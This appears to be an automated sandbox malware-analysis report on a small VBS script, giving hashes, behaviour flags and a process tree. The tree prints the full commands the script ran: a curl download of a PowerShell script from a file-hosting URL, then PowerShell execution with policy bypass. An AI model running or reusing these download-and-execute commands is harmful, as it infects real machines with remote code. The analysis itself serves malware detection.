Analysis

  • max time kernel
    30s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 09:37

General

  • Target

    asd.vbs

  • Size

    484B

  • MD5

    1663574ead24fc758c224a04057e9da3

  • SHA1

    c2fb493d802d82d93cbb139ab3c3899c31a68bc4

  • SHA256

    7bf8ea91da860789333adacd1cc7b26ffb593dfe6ebab4651a789bf47d0b92ba

  • SHA512

    ab1d8b4e67f5b9772e2a34ce7ab5695f604fc510d255fdad3b12d1a0c2793c2706172d2f84a29e67f239cf951b328fab30e273b1ee383cee2db4add9704f3840

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asd.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:272
      • C:\Windows\system32\cmd.exe
        cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        3⤵
          PID:764
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:772
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1616

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/532-54-0x000007FEFC191000-0x000007FEFC193000-memory.dmp

      Filesize

      8KB

    • memory/1616-61-0x000007FEF4170000-0x000007FEF4B93000-memory.dmp

      Filesize

      10.1MB

    • memory/1616-62-0x000007FEF3610000-0x000007FEF416D000-memory.dmp

      Filesize

      11.4MB

    • memory/1616-63-0x00000000023C4000-0x00000000023C7000-memory.dmp

      Filesize

      12KB

    • memory/1616-64-0x00000000023C4000-0x00000000023C7000-memory.dmp

      Filesize

      12KB

    • memory/1616-65-0x00000000023CB000-0x00000000023EA000-memory.dmp

      Filesize

      124KB